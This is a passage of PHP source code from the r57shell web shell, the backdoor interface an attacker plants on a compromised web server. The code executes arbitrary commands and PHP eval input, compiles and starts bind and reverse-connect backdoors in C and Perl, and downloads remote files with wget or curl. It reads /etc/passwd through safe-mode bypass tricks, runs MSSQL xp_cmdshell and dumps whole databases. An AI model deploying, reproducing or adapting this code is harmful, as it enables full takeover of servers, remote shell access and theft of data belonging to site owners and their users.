ex('id');\necho((!empty($id))?(ws(3).$id.\"<br>\"):(ws(3).\"user=\".@get_current_user().\" uid=\".@getmyuid().\" gid=\".@getmygid().\"<br>\"));\necho ws(3).$dir;\necho \"</b></font>\";\n}\nelse\n{\necho '<font color=blue><b>OS :'.ws(1).'<br>Server :'.ws(1).'<br>User :'.ws(1).'<br>pwd :'.ws(1).'</b></font><br>';\necho \"</td><td>\";\necho \"<font face=Verdana size=-2 color=red><b>\";\necho ws(3).@substr(@php_uname(),0,120).\"<br>\";\necho ws(3).@substr($SERVER_SOFTWARE,0,120).\"<br>\";\necho ws(3).@get_current_user().\"<br>\";\necho ws(3).$dir.\"<br>\";\necho \"</font>\";\n}\necho \"</font>\";\necho \"</td></tr></table>\";\nif(empty($c1)||empty($c2)) { die(); }\n$f = '<br>';\n$f .= base64_decode($c1);\n$f .= base64_decode($c2);\nif(!empty($_POST['cmd']) && $_POST['cmd'] == \"find_text\")\n{\n$_POST['cmd'] = 'find '.$_POST['s_dir'].' -name \\''.$_POST['s_mask'].'\\' | xargs grep -E \\''.$_POST['s_text'].'\\'';\n}\nif(!empty($_POST['cmd']) && $_POST['cmd']==\"ch_\")\n {\n switch($_POST['what'])\n {\n case 'own':\n @chown($_POST['param1'],$_POST['param2']);\n break;\n case 'grp':\n @chgrp($_POST['param1'],$_POST['param2']);\n break;\n case 'mod':\n @chmod($_POST['param1'],intval($_POST['param2'], 8));\n break;\n }\n $_POST['cmd']=\"\";\n }\nif(!empty($_POST['cmd']) && $_POST['cmd']==\"mk\")\n {\n switch($_POST['what'])\n {\n case 'file':\n if($_POST['action'] == \"create\")\n {\n if(file_exists($_POST['mk_name']) || !$file=@fopen($_POST['mk_name'],\"w\")) { echo ce($_POST['mk_name']); $_POST['cmd']=\"\"; }\n else {\n fclose($file);\n $_POST['e_name'] = $_POST['mk_name'];\n $_POST['cmd']=\"edit_file\";\n echo \"<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>\".$lang[$language.'_text61'].\"</b></font></div></td></tr></table>\";\n }\n }\n else if($_POST['action'] == \"delete\")\n {\n if(unlink($_POST['mk_name'])) echo \"<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>\".$lang[$language.'_text63'].\"</b></font></div></td></tr></table>\";\n $_POST['cmd']=\"\";\n }\n break;\n case 'dir':\n if($_POST['action'] == \"create\"){\n if(mkdir($_POST['mk_name']))\n {\n $_POST['cmd']=\"\";\n echo \"<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>\".$lang[$language.'_text62'].\"</b></font></div></td></tr></table>\";\n }\n else { echo ce($_POST['mk_name']); $_POST['cmd']=\"\"; }\n }\n else if($_POST['action'] == \"delete\"){\n if(rmdir($_POST['mk_name'])) echo \"<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>\".$lang[$language.'_text64'].\"</b></font></div></td></tr></table>\";\n $_POST['cmd']=\"\";\n }\n break;\n }\n }\nif(!empty($_POST['cmd']) && $_POST['cmd']==\"edit_file\")\n {\n if(!$file=@fopen($_POST['e_name'],\"r+\")) { $only_read = 1; @fclose($file); }\n if(!$file=@fopen($_POST['e_name'],\"r\")) { echo re($_POST['e_name']); $_POST['cmd']=\"\"; }\n else {\n echo $table_up3;\n echo $font;\n echo \"<form name=save_file method=post>\";\n echo ws(3).\"<b>\".$_POST['e_name'].\"</b>\";\n echo \"<div align=center><textarea name=e_text cols=121 rows=24>\";\n echo @htmlspecialchars(@fread($file,@filesize($_POST['e_name'])));\n fclose($file);\n echo \"</textarea>\";\n echo \"<input type=hidden name=e_name value=\".$_POST['e_name'].\">\";\n echo \"<input type=hidden name=dir value=\".$dir.\">\";\n echo \"<input type=hidden name=cmd value=save_file>\";\n echo (!empty($only_read)?(\"<br><br>\".$lang[$language.'_text44']):(\"<br><br><input type=submit name=submit value=\\\" \".$lang[$language.'_butt10'].\" \\\">\"));\n echo \"</div>\";\n echo \"</font>\";\n echo \"</form>\";\n echo \"</td></tr></table>\";\n exit();\n }\n }\nif(!empty($_POST['cmd']) && $_POST['cmd']==\"save_file\")\n {\n if(!$file=@fopen($_POST['e_name'],\"w\")) { echo we($_POST['e_name']); }\n else {\n @fwrite($file,$_POST['e_text']);\n @fclose($file);\n $_POST['cmd']=\"\";\n echo \"<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2><b>\".$lang[$language.'_text45'].\"</b></font></div></td></tr></table>\";\n }\n }\nif (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']==\"C\"))\n{\n cf(\"/tmp/bd.c\",$port_bind_bd_c);\n $blah = ex(\"gcc -o /tmp/bd /tmp/bd.c\");\n @unlink(\"/tmp/bd.c\");\n $blah = ex(\"/tmp/bd \".$_POST['port'].\" \".$_POST['bind_pass'].\" &\");\n $_POST['cmd']=\"ps -aux | grep bd\";\n}\nif (!empty($_POST['port'])&&!empty($_POST['bind_pass'])&&($_POST['use']==\"Perl\"))\n{\n cf(\"/tmp/bdpl\",$port_bind_bd_pl);\n $p2=which(\"perl\");\n if(empty($p2)) $p2=\"perl\";\n $blah = ex($p2.\" /tmp/bdpl \".$_POST['port'].\" &\");\n $_POST['cmd']=\"ps -aux | grep bdpl\";\n}\nif (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']==\"Perl\"))\n{\n cf(\"/tmp/back\",$back_connect);\n $p2=which(\"perl\");\n if(empty($p2)) $p2=\"perl\";\n $blah = ex($p2.\" /tmp/back \".$_POST['ip'].\" \".$_POST['port'].\" &\");\n $_POST['cmd']=\"echo \\\"Now script try connect to \".$_POST['ip'].\" port \".$_POST['port'].\" ...\\\"\";\n}\nif (!empty($_POST['ip']) && !empty($_POST['port']) && ($_POST['use']==\"C\"))\n{\n cf(\"/tmp/back.c\",$back_connect_c);\n $blah = ex(\"gcc -o /tmp/backc /tmp/back.c\");\n @unlink(\"/tmp/back.c\");\n $blah = ex(\"/tmp/backc \".$_POST['ip'].\" \".$_POST['port'].\" &\");\n $_POST['cmd']=\"echo \\\"Now script try connect to \".$_POST['ip'].\" port \".$_POST['port'].\" ...\\\"\";\n}\nif (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']==\"Perl\"))\n{\n cf(\"/tmp/dp\",$datapipe_pl);\n $p2=which(\"perl\");\n if(empty($p2)) $p2=\"perl\";\n $blah = ex($p2.\" /tmp/dp \".$_POST['local_port'].\" \".$_POST['remote_host'].\" \".$_POST['remote_port'].\" &\");\n $_POST['cmd']=\"ps -aux | grep dp\";\n}\nif (!empty($_POST['local_port']) && !empty($_POST['remote_host']) && !empty($_POST['remote_port']) && ($_POST['use']==\"C\"))\n{\n cf(\"/tmp/dpc.c\",$datapipe_c);\n $blah = ex(\"gcc -o /tmp/dpc /tmp/dpc.c\");\n @unlink(\"/tmp/dpc.c\");\n $blah = ex(\"/tmp/dpc \".$_POST['local_port'].\" \".$_POST['remote_port'].\" \".$_POST['remote_host'].\" &\");\n $_POST['cmd']=\"ps -aux | grep dpc\";\n}\nif (!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}}\nif (!empty($HTTP_POST_FILES['userfile']['name']))\n{\nif(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; }\nelse { $nfn = $HTTP_POST_FILES['userfile']['name']; }\n@copy($HTTP_POST_FILES['userfile']['tmp_name'],\n $_POST['dir'].\"/\".$nfn)\n or print(\"<font color=red face=Fixedsys><div align=center>Error uploading file \".$HTTP_POST_FILES['userfile']['name'].\"</div></font>\");\n}\nif (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file']))\n{\n switch($_POST['with'])\n {\n case wget:\n $_POST['cmd'] = which('wget').\" \".$_POST['rem_file'].\" -O \".$_POST['loc_file'].\"\";\n break;\n case fetch:\n $_POST['cmd'] = which('fetch').\" -p \".$_POST['rem_file'].\" -o \".$_POST['loc_file'].\"\";\n break;\n case lynx:\n $_POST['cmd'] = which('lynx').\" -source \".$_POST['rem_file'].\" > \".$_POST['loc_file'].\"\";\n break;\n case links:\n $_POST['cmd'] = which('links').\" -source \".$_POST['rem_file'].\" > \".$_POST['loc_file'].\"\";\n break;\n case GET:\n $_POST['cmd'] = which('GET').\" \".$_POST['rem_file'].\" > \".$_POST['loc_file'].\"\";\n break;\n case curl:\n $_POST['cmd'] = which('curl').\" \".$_POST['rem_file'].\" -o \".$_POST['loc_file'].\"\";\n break;\n }\n}\necho $table_up3;\nif (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?(\"dir\"):(\"ls -lia\"); }\nelse if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']=\"safe_dir\"; }\necho $font.$lang[$language.'_text1'].\": <b>\".$_POST['cmd'].\"</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>\";\nif($safe_mode)\n{\n switch($_POST['cmd'])\n {\n case 'safe_dir':\n $d=@dir($dir);\n if ($d)\n {\n while (false!==($file=$d->read()))\n {\n if ($file==\".\" || $file==\"..\") continue;\n @clearstatcache();\n list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);\n if($windows){\n echo date(\"d.m.Y H:i\",$mtime);\n if(@is_dir($file)) echo \" <DIR> \"; else printf(\"% 7s \",$size);\n }\n else{\n $owner = @posix_getpwuid($uid);\n $grgid = @posix_getgrgid($gid);\n echo $inode.\" \";\n echo perms(@fileperms($file));\n printf(\"% 4d % 9s % 9s %7s \",$nlink,$owner['name'],$grgid['name'],$size);\n echo date(\"d.m.Y H:i \",$mtime);\n }\n echo \"$file\\n\";\n }\n $d->close();\n }\n else echo $lang[$language._text29];\n break;\n case 'safe_file':\n if(@is_file($_POST['file']))\n {\n $file = @file($_POST['file']);\n if($file)\n {\n $c = @sizeof($file);\n for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); }\n }\n else echo $lang[$language._text29];\n }\n else echo $lang[$language._text31];\n break;\n case 'test1':\n $ci = @curl_init(\"file://\".$_POST['test1_file'].\"\");\n $cf = @curl_exec($ci);\n echo $cf;\n break;\n case 'test2':\n @include($_POST['test2_file']);\n break;\n case 'test3':\n if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = \"3306\"; }\n $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']);\n if($db)\n {\n if(@mysql_select_db($_POST['test3_md'],$db))\n {\n $sql = \"DROP TABLE IF EXISTS temp_r57_table;\";\n @mysql_query($sql);\n $sql = \"CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );\";\n @mysql_query($sql);\n $sql = \"LOAD DATA INFILE \\\"\".$_POST['test3_file'].\"\\\" INTO TABLE temp_r57_table;\";\n @mysql_query($sql);\n $sql = \"SELECT * FROM temp_r57_table;\";\n $r = @mysql_query($sql);\n while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); }\n $sql = \"DROP TABLE IF EXISTS temp_r57_table;\";\n @mysql_query($sql);\n }\n else echo \"[-] ERROR! Can't select database\";\n @mysql_close($db);\n }\n else echo \"[-] ERROR! Can't connect to mysql server\";\n break;\n case 'test4':\n if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = \"1433\"; }\n $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']);\n if($db)\n {\n if(@mssql_select_db($_POST['test4_md'],$db))\n {\n @mssql_query(\"drop table r57_temp_table\",$db);\n @mssql_query(\"create table r57_temp_table ( string VARCHAR (500) NULL)\",$db);\n @mssql_query(\"insert into r57_temp_table EXEC master.dbo.xp_cmdshell '\".$_POST['test4_file'].\"'\",$db);\n $res = mssql_query(\"select * from r57_temp_table\",$db);\n while(($row=@mssql_fetch_row($res)))\n {\n echo $row[0].\"\\r\\n\";\n }\n @mssql_query(\"drop table r57_temp_table\",$db);\n }\n else echo \"[-] ERROR! Can't select database\";\n @mssql_close($db);\n }\n else echo \"[-] ERROR! Can't connect to MSSQL server\";\n break;\n }\n}\nelse if(($_POST['cmd']!=\"php_eval\")&&($_POST['cmd']!=\"mysql_dump\")&&($_POST['cmd']!=\"db_show\")&&($_POST['cmd']!=\"db_query\")){\n $cmd_rep = ex($_POST['cmd']);\n if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w')).\"\\n\"; }\n else { echo @htmlspecialchars($cmd_rep).\"\\n\"; }}\nif ($_POST['cmd']==\"php_eval\"){\n $eval = @str_replace(\"<?\",\"\",$_POST['php_eval']);\n $eval = @str_replace(\"?>\",\"\",$eval);\n @eval($eval);}\nif ($_POST['cmd']==\"db_show\")\n {\n switch($_POST['db'])\n {\n case 'MySQL':\n if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }\n $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);\n if($db)\n {\n $res=@mysql_query(\"SHOW DATABASES\", $db);\n while(($row=@mysql_fetch_row($res)))\n {\n echo \"[+] \".$row[0].\"\\r\\n\";\n if(isset($_POST['st'])){\n $res2 = @mysql_query(\"SHOW TABLES FROM \".$row[0],$db);\n while(($row2=@mysql_fetch_row($res2)))\n {\n echo \" | - \".$row2[0].\"\\r\\n\";\n if(isset($_POST['sc']))\n {\n $res3 = @mysql_query(\"SHOW COLUMNS FROM \".$row[0].\".\".$row2[0],$db);\n while(($row3=@mysql_fetch_row($res3))) { echo \" | - \".$row3[0].\"\\r\\n\"; }\n }\n }\n }\n }\n @mysql_close($db);\n }\n else echo \"[-] ERROR! Can't connect to MySQL server\";\n break;\n case 'MSSQL':\n if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }\n $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);\n if($db)\n {\n $res=@mssql_query(\"sp_databases\", $db);\n while(($row=@mssql_fetch_row($res)))\n {\n echo \"[+] \".$row[0].\"\\r\\n\";\n if(isset($_POST['st'])){\n @mssql_select_db($row[0]);\n $res2 = @mssql_query(\"sp_tables\",$db);\n while(($row2=@mssql_fetch_array($res2)))\n {\n if($row2['TABLE_TYPE'] == 'TABLE' && $row2['TABLE_NAME'] != 'dtproperties')\n {\n echo \" | - \".$row2['TABLE_NAME'].\"\\r\\n\";\n if(isset($_POST['sc']))\n {\n $res3 = @mssql_query(\"sp_columns \".$row2[2],$db);\n while(($row3=@mssql_fetch_array($res3))) { echo \" | - \".$row3['COLUMN_NAME'].\"\\r\\n\"; }\n }\n }\n }\n }\n }\n @mssql_close($db);\n }\n else echo \"[-] ERROR! Can't connect to MSSQL server\";\n break;\n case 'PostgreSQL':\n if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }\n $str = \"host='localhost' port='\".$_POST['db_port'].\"' user='\".$_POST['mysql_l'].\"' password='\".$_POST['mysql_p'].\"' dbname='\".$_POST['mysql_db'].\"'\";\n $db = @pg_connect($str);\n if($db)\n {\n $res=@pg_query($db,\"SELECT datname FROM pg_database WHERE datistemplate='f'\");\n while(($row=@pg_fetch_row($res)))\n {\n echo \"[+] \".$row[0].\"\\r\\n\";\n }\n @pg_close($db);\n }\n else echo \"[-] ERROR! Can't connect to PostgreSQL server\";\n break;\n }\n }\nif ($_POST['cmd']==\"mysql_dump\")\n {\n if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], \"w\"); }\n if((!empty($_POST['dif'])&&$fp)||(empty($_POST['dif']))){\n $sqh = \"# homepage: http://\\r\\n\";\n $sqh .= \"# ---------------------------------\\r\\n\";\n $sqh .= \"# date : \".date (\"j F Y g:i\").\"\\r\\n\";\n $sqh .= \"# database : \".$_POST['mysql_db'].\"\\r\\n\";\n $sqh .= \"# table : \".$_POST['mysql_tbl'].\"\\r\\n\";\n $sqh .= \"# ---------------------------------\\r\\n\\r\\n\";\n switch($_POST['db']){\n case 'MySQL':\n if(empty($_POST['db_port'])) { $_POST['db_port'] = '3306'; }\n $db = @mysql_connect('localhost:'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);\n if($db)\n {\n if(@mysql_select_db($_POST['mysql_db'],$db))\n {\n $sql1 = \"# MySQL dump created by r57shell\\r\\n\";\n $sql1 .= $sqh;\n $res = @mysql_query(\"SHOW CREATE TABLE `\".$_POST['mysql_tbl'].\"`\", $db);\n $row = @mysql_fetch_row($res);\n $sql1 .= $row[1].\"\\r\\n\\r\\n\";\n $sql1 .= \"# ---------------------------------\\r\\n\\r\\n\";\n $sql2 = '';\n $res = @mysql_query(\"SELECT * FROM `\".$_POST['mysql_tbl'].\"`\", $db);\n if (@mysql_num_rows($res) > 0) {\n while (($row = @mysql_fetch_assoc($res))) {\n $keys = @implode(\"`, `\", @array_keys($row));\n $values = @array_values($row);\n foreach($values as $k=>$v) {$values[$k] = addslashes($v);}\n $values = @implode(\"', '\", $values);\n $sql2 .= \"INSERT INTO `\".$_POST['mysql_tbl'].\"` (`\".$keys.\"`) VALUES ('\".htmlspecialchars($values).\"');\\r\\n\";\n }\n $sql2 .= \"\\r\\n# ---------------------------------\";\n }\n if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }\n else { echo $sql1.$sql2; }\n }\n else echo \"[-] ERROR! Can't select database\";\n @mysql_close($db);\n }\n else echo \"[-] ERROR! Can't connect to MySQL server\";\n break;\n case 'MSSQL':\n if(empty($_POST['db_port'])) { $_POST['db_port'] = '1433'; }\n $db = @mssql_connect('localhost,'.$_POST['db_port'],$_POST['mysql_l'],$_POST['mysql_p']);\n if($db)\n {\n if(@mssql_select_db($_POST['mysql_db'],$db))\n {\n $sql1 = \"# MSSQL dump created by r57shell\\r\\n\";\n $sql1 .= $sqh;\n $sql2 = '';\n $res = @mssql_query(\"SELECT * FROM \".$_POST['mysql_tbl'].\"\", $db);\n if (@mssql_num_rows($res) > 0) {\n while (($row = @mssql_fetch_assoc($res))) {\n $keys = @implode(\", \", @array_keys($row));\n $values = @array_values($row);\n foreach($values as $k=>$v) {$values[$k] = addslashes($v);}\n $values = @implode(\"', '\", $values);\n $sql2 .= \"INSERT INTO \".$_POST['mysql_tbl'].\" (\".$keys.\") VALUES ('\".htmlspecialchars($values).\"');\\r\\n\";\n }\n $sql2 .= \"\\r\\n# ---------------------------------\";\n }\n if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }\n else { echo $sql1.$sql2; }\n }\n else echo \"[-] ERROR! Can't select database\";\n @mssql_close($db);\n }\n else echo \"[-] ERROR! Can't connect to MSSQL server\";\n break;\n case 'PostgreSQL':\n if(empty($_POST['db_port'])) { $_POST['db_port'] = '5432'; }\n $str = \"host='localhost' port='\".$_POST['db_port'].\"' user='\".$_POST['mysql_l'].\"' password='\".$_POST['mysql_p'].\"' dbname='\".$_POST['mysql_db'].\"'\";\n $db = @pg_connect($str);\n if($db)\n {\n $sql1 = \"# PostgreSQL dump created by r57shell\\r\\n\";\n $sql1 .= $sqh;\n $sql2 = '';\n $res = @pg_query($db,\"SELECT * FROM \".$_POST['mysql_tbl'].\"\");\n if (@pg_num_rows($res) > 0) {\n while (($row = @pg_fetch_assoc($res))) {\n $keys = @implode(\", \", @array_keys($row));\n $values = @array_values($row);\n foreach($values as $k=>$v) {$values[$k] = addslashes($v);}\n $values = @implode(\"', '\", $values);\n $sql2 .= \"INSERT INTO \".$_POST['mysql_tbl'].\" (\".$keys.\") VALUES ('\".htmlspecialchars($values).\"');\\r\\n\";\n }\n $sql2 .= \"\\r\\n# ---------------------------------\";\n }\n if(!empty($_POST['dif'])&&$fp) { @fputs($fp,$sql1.$sql2); }\n else { echo $sql1.$sql2; }\n @pg_close($db);\n }\n else echo \"[-] ERROR! Can't connect to PostgreSQL server\";\n break;\n }\n }\n else if(!empty($_POST['dif'])&&!$fp) { echo \"[-] ERROR! Can't write in dump file\"; }\n }\necho \"</textarea></div>\";\necho \"</b>\";\necho \"</td></tr></table>\";\necho \"<table width=100% cellpadding=0 cellspacing=0>\";\nif(!$safe_mode){\necho $fs.$table_up1.$lang[$language.'_text2'].$table_up2.$ts;\necho sr(15,\"<b>\".$lang[$language.'_text3'].$arrow.\"</b>\",in('text','cmd',85,''));\necho sr(15,\"<b>\".$lang[$language.'_text4'].$arrow.\"</b>\",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));\necho $te.$table_end1.$fe;\n}\nelse{\necho $fs.$table_up1.$lang[$language.'_text28'].$table_up2.$ts;\necho sr(15,\"<b>\".$lang[$language.'_text4'].$arrow.\"</b>\",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6']));\necho $te.$table_end1.$fe;\n}\necho $fs.$table_up1.$lang[$language.'_text42'].$table_up2.$ts;\necho sr(15,\"<b>\".$lang[$language.'_text43'].$arrow.\"</b>\",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11']));\necho $te.$table_end1.$fe;\nif($safe_mode){\necho $fs.$table_up1.$lang[$language.'_text57'].$table_up2.$ts;\necho sr(15,\"<b>\".$lang[$language.'_text58'].$arrow.\"</b>\",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):(\"new_name\"))).ws(4).\"<select name=action><option value=create>\".$lang[$language.'_text65'].\"</option><option value=delete>\".$lang[$language.'_text66'].\"</option></select>\".ws(3).\"<select name=what><option value=file>\".$lang[$language.'_text59'].\"</option><option value=dir>\".$lang[$language.'_text60'].\"</option></select>\".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13']));\necho $te.$table_end1.$fe;\n}\nif($safe_mode && $unix){\necho $fs.$table_up1.$lang[$language.'_text67'].$table_up2.$ts;\necho sr(15,\"<b>\".$lang[$language.'_text68'].$arrow.\"</b>\",\"<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>\".ws(2).\"<b>\".$lang[$language.'_text69'].$arrow.\"</b>\".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):(\"filename\"))).ws(2).\"<b>\".$lang[$language.'_text70'].$arrow.\"</b>\".ws(2).in('text','param2 title=\"'.$lang[$language.'_text71'].'\"',26,(($_POST['param2'])?($_POST['param2']):(\"0777\"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));\necho $te.$table_end1.$fe;\n}\nif(!$safe_mode){\nforeach ($aliases as $alias_name=>$alias_cmd)\n {\n $aliases2 .= \"<option>$alias_name</option>\";\n }\necho $fs.$table_up1.$lang[$language.'_text7'].$table_up2.$ts;\necho sr(15,\"<b>\".ws(9).$lang[$language.'_text8'].$arrow.ws(4).\"</b>\",\"<select name=alias>\".$aliases2.\"</select>\".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1']));\necho $te.$table_end1.$fe;\n}\necho $fs.$table_up1.$lang[$language.'_text54'].$table_up2.$ts;\necho sr(15,\"<b>\".$lang[$language.'_text52'].$arrow.\"</b>\",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));\necho sr(15,\"<b>\".$lang[$language.'_text53'].$arrow.\"</b>\",in('text','s_dir',85,$dir).\" * ( /root;/home;/tmp )\");\necho sr(15,\"<b>\".$lang[$language.'_text55'].$arrow.\"</b>\",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php').\"* ( .txt;.php;.htm )\".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir));\necho $te.$table_end1.$fe;\necho $fs.$table_up1.$lang[$language.'_text76'].$table_up2.$ts;\necho sr(15,\"<b>\".$lang[$language.'_text72'].$arrow.\"</b>\",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12']));\necho sr(15,\"<b>\".$lang[$language.'_text73'].$arrow.\"</b>\",in('text','s_dir',85,$dir).\" * ( /root;/home;/tmp )\");\necho sr(15,\"<b>\".$lang[$language.'_text74'].$arrow.\"</b>\",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir));\necho $te.$table_end1.$fe;\necho $fs.$table_up1.$lang[$language.'_text32'].$table_up2.$font;\necho \"<div align=center><textarea name=php_eval cols=100 rows=3>\";\necho (!empty($_POST['php_eval'])?($_POST['php_eval']):(\"/* delete script */\\r\\n//unlink(\\\"r57shell.php\\\");\\r\\n//readfile(\\\"/etc/passwd\\\");\"));\necho \"</textarea>\";\necho in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval');\necho \"<br>\".ws(1).in('submit','submit',0,$lang[$language.'_butt1']);\necho \"</font>\";\necho $table_end1.$fe;\nif($safe_mode&&$curl_on)\n{\necho $fs.$table_up1.$lang[$language.'_text33'].$table_up2.$ts;\necho sr(15,\"<b>\".$lang[$language.'_text30'].$arrow.\"</b>\",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):(\"/etc/passwd\"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));\necho $te.$table_end1.$fe;\n}\nif($safe_mode)\n{\necho $fs.$table_up1.$lang[$language.'_text34'].$table_up2.$ts;\necho \"<table class=table1 width=100% align=center>\";\necho sr(15,\"<b>\".$lang[$language.'_text30'].$arrow.\"</b>\",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):(\"/etc/passwd\"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));\necho $te.$table_end1.$fe;\n}\nif($safe_mode&&$mysql_on)\n{\necho $fs.$table_up1.$lang[$language.'_text35'].$table_up2.$ts;\necho sr(15,\"<b>\".$lang[$language.'_text36'].$arrow.\"</b>\",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):(\"mysql\"))).ws(4).\"<b>\".$lang[$language.'_text37'].$arrow.\"</b>\".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):(\"root\"))).ws(4).\"<b>\".$lang[$language.'_text38'].$arrow.\"</b>\".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):(\"password\"))).ws(4).\"<b>\".$lang[$language.'_text14'].$arrow.\"</b>\".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):(\"3306\"))));\necho sr(15,\"<b>\".$lang[$language.'_text30'].$arrow.\"</b>\",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):(\"/etc/passwd\"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));\necho $te.$table_end1.$fe;\n}\nif($safe_mode&&$mssql_on)\n{\necho $fs.$table_up1.$lang[$language.'_text85'].$table_up2.$ts;\necho sr(15,\"<b>\".$lang[$language.'_text36'].$arrow.\"</b>\",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):(\"master\"))).ws(4).\"<b>\".$lang[$language.'_text37'].$arrow.\"</b>\".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):(\"sa\"))).ws(4).\"<b>\".$lang[$language.'_text38'].$arrow.\"</b>\".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):(\"password\"))).ws(4).\"<b>\".$lang[$language.'_text14'].$arrow.\"</b>\".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):(\"1433\"))));\necho sr(15,\"<b>\".$lang[$language.'_text3'].$arrow.\"</b>\",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):(\"dir\"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8']));\necho $te.$table_end1.$fe;\n}\nif(@ini_get('file_uploads')){\necho \"<form name=upload method=POST ENCTYPE=multipart/form-data>\";\necho $table_up1.$lang[$language.'_text5'].$table_up2.$ts;\necho sr(15,\"<b>\".$lang[$language.'_text6'].$arrow.\"</b>\",in('file','userfile',85,''));\necho sr(15,\"<b>\".$lang[$language.'_text21'].$arrow.\"</b>\",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2']));\necho $te.$table_end1.$fe;\n}\nif(!$safe_mode&&!$windows){\necho $fs.$table_up1.$lang[$language.'_text15'].$table_up2.$ts;\necho sr(15,\"<b>\".$lang[$language.'_text16'].$arrow.\"</b>\",\"<select size=\\\"1\\\" name=\\\"with\\\"><option value=\\\"wget\\\">wget</option><option value=\\\"fetch\\\">fetch</option><option value=\\\"lynx\\\">lynx</option><option value=\\\"links\\\">links</option><option value=\\\"curl\\\">curl</option><option 